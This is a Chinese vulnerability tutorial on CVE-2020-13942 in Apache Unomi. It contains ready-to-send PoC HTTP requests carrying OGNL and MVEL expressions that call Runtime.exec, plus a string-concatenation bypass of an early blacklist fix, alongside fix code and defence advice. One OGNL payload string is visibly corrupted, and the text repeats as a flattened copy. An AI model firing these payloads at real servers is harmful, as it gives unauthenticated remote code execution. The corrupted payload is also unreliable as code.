漏洞分析 - Apache Unomi RCE 第2篇 OGNL/MVEL注入(CVE-2020-13942)
字数 1179 2025-08-19 12:41:28

Apache Unomi RCE漏洞分析(CVE-2020-13942)教学文档

漏洞概述

CVE-2020-13942是Apache Unomi中的远程代码执行(RCE)漏洞,包含两种不同的注入方式:OGNL注入和MVEL注入。该漏洞允许攻击者通过发送包含恶意表达式的HTTP请求,在服务器上执行任意代码。

影响版本

  • 受影响版本:Apache Unomi < 1.5.2(如1.5.1)
  • 安全版本:Apache Unomi >= 1.5.2

漏洞评级

CVSS评分:10.0(最高危)

触发前提

  • 无需身份验证
  • 能够访问Unomi服务

漏洞背景

此漏洞是对CVE-2020-11975修复的绕过。之前的修复引入了SecureFilteringClassLoader,但它基于一个错误假设:所有类加载都必须通过ClassLoader.loadClass()方法。

漏洞技术分析

漏洞1:OGNL注入

绕过原理

通过反射API直接访问已存在的类(如Runtime),而不调用loadClass()方法,从而绕过安全限制。

攻击示例

(#runtimeclass = #this.getClass().forName("java.lang.Runtime"))
.(#runtimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0])
.(#runtimeobject = #runtimemethod.invoke(null,null))
.(#execmethod = #runtimeclass.getDeclaredMethods()
  .{? #this.name.equals("exec")}
  .{? #this.getParameters()[0].getType().getName().equals("java.lang.String")}
  .{? #this.getParameters().length < 2}[0])
.(#execmethod.invoke(#runtimeobject,"calc.exe"))

PoC HTTP请求

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2_anystr"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\this.getParameters()[0].getType().getName().equals(\"java.lang.String\this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
}

漏洞2:MVEL注入

绕过原理

MVEL表达式可以直接使用已实例化的类(如Runtime),而不需要加载新类,从而绕过安全限制。

攻击示例

Runtime r = Runtime.getRuntime(); r.exec("calc.exe");

PoC HTTP请求

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564

{
  "filters": [
    {
      "id": "myfilter1_anystr",
      "filters": [
        {
          "condition": {
            "parameterValues": {
              "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")"
            },
            "type": "profilePropertyCondition"
          }
        }
      ]
    }
  ],
  "sessionId": "test-demo-session-id_anystr"
}

漏洞危害

  1. 完全控制服务器:可以执行任意操作系统命令
  2. 内网横向移动:Unomi通常与内网中的其他系统集成
  3. 数据泄露:可以访问服务器上的所有数据
  4. 持久化攻击:可以安装后门或其他恶意软件

修复过程

第一次修复(不完整)

  1. 默认关闭公开端点的MVEL表达式执行
  2. 使用正则表达式过滤危险类(黑名单方式)
  3. 重定向危险类到String类
// MvelScriptExecutor.java中的部分修复代码
parserContext.addImport("Runtime", String.class);
parserContext.addImport("System", String.class);
parserContext.addImport("ProcessBuilder", String.class);
// ...其他危险类

第一次修复的绕过方法

通过字符串拼接和MVEL.eval绕过:

java.util.Map context = new java.util.HashMap();
org.mvel2.MVEL.eval(
  \" Runt\"+ \"ime r = Run\"+ \"time.getRu\"+ \"ntime();r.exe\"+ \"c('calc.exe') \", 
  context
);

最终修复方案

  1. 引入基于白名单的表达式检查
  2. 只允许执行明确允许的表达式
  3. 白名单在启动时加载且不可变
// ExpressionFilter.java
public String filter(String expression) {
    if (forbiddenExpressionPatterns != null && 
        expressionMatches(expression, forbiddenExpressionPatterns)) {
        logger.warn("Expression {} is forbidden by expression filter", expression);
        return null;
    }
    if (allowedExpressionPatterns != null && 
        !expressionMatches(expression, allowedExpressionPatterns)) {
        logger.warn("Expression {} is not allowed by expression filter", expression);
        return null;
    }
    return expression;
}

防御建议

  1. 立即升级到Apache Unomi 1.5.2或更高版本

  2. 如果无法立即升级,考虑以下临时措施:

    • 限制对Unomi端点的网络访问
    • 启用严格的输入验证
    • 监控可疑的HTTP请求
  3. 长期建议:

    • 避免在应用程序中使用动态表达式评估
    • 使用静态表达式和参数化查询
    • 实施最小权限原则运行服务

时间线

  • 2020年6月24日:漏洞披露给Apache Unomi开发者
  • 2020年8月20日:修复代码合并到master分支
  • 2020年11月13日:包含修复的1.5.2版本发布
  • 2020年11月17日:公开披露

总结

这个案例展示了:

  1. 黑名单防御方案的局限性
  2. 动态表达式评估的内在风险
  3. 安全修复需要全面考虑所有可能的攻击向量
  4. 白名单方法通常比黑名单更可靠

对于类似漏洞,最可靠的修复方法是完全移除对任意表达式评估的支持,转而使用静态表达式和动态参数的组合。

Apache Unomi RCE漏洞分析(CVE-2020-13942)教学文档 漏洞概述 CVE-2020-13942是Apache Unomi中的远程代码执行(RCE)漏洞,包含两种不同的注入方式:OGNL注入和MVEL注入。该漏洞允许攻击者通过发送包含恶意表达式的HTTP请求,在服务器上执行任意代码。 影响版本 受影响版本:Apache Unomi < 1.5.2(如1.5.1) 安全版本:Apache Unomi >= 1.5.2 漏洞评级 CVSS评分:10.0(最高危) 触发前提 无需身份验证 能够访问Unomi服务 漏洞背景 此漏洞是对CVE-2020-11975修复的绕过。之前的修复引入了 SecureFilteringClassLoader ,但它基于一个错误假设:所有类加载都必须通过 ClassLoader.loadClass() 方法。 漏洞技术分析 漏洞1:OGNL注入 绕过原理 通过反射API直接访问已存在的类(如Runtime),而不调用 loadClass() 方法,从而绕过安全限制。 攻击示例 PoC HTTP请求 漏洞2:MVEL注入 绕过原理 MVEL表达式可以直接使用已实例化的类(如Runtime),而不需要加载新类,从而绕过安全限制。 攻击示例 PoC HTTP请求 漏洞危害 完全控制服务器:可以执行任意操作系统命令 内网横向移动:Unomi通常与内网中的其他系统集成 数据泄露:可以访问服务器上的所有数据 持久化攻击:可以安装后门或其他恶意软件 修复过程 第一次修复(不完整) 默认关闭公开端点的MVEL表达式执行 使用正则表达式过滤危险类(黑名单方式) 重定向危险类到String类 第一次修复的绕过方法 通过字符串拼接和 MVEL.eval 绕过: 最终修复方案 引入基于白名单的表达式检查 只允许执行明确允许的表达式 白名单在启动时加载且不可变 防御建议 立即升级到Apache Unomi 1.5.2或更高版本 如果无法立即升级,考虑以下临时措施: 限制对Unomi端点的网络访问 启用严格的输入验证 监控可疑的HTTP请求 长期建议: 避免在应用程序中使用动态表达式评估 使用静态表达式和参数化查询 实施最小权限原则运行服务 时间线 2020年6月24日:漏洞披露给Apache Unomi开发者 2020年8月20日:修复代码合并到master分支 2020年11月13日:包含修复的1.5.2版本发布 2020年11月17日:公开披露 总结 这个案例展示了: 黑名单防御方案的局限性 动态表达式评估的内在风险 安全修复需要全面考虑所有可能的攻击向量 白名单方法通常比黑名单更可靠 对于类似漏洞,最可靠的修复方法是完全移除对任意表达式评估的支持,转而使用静态表达式和动态参数的组合。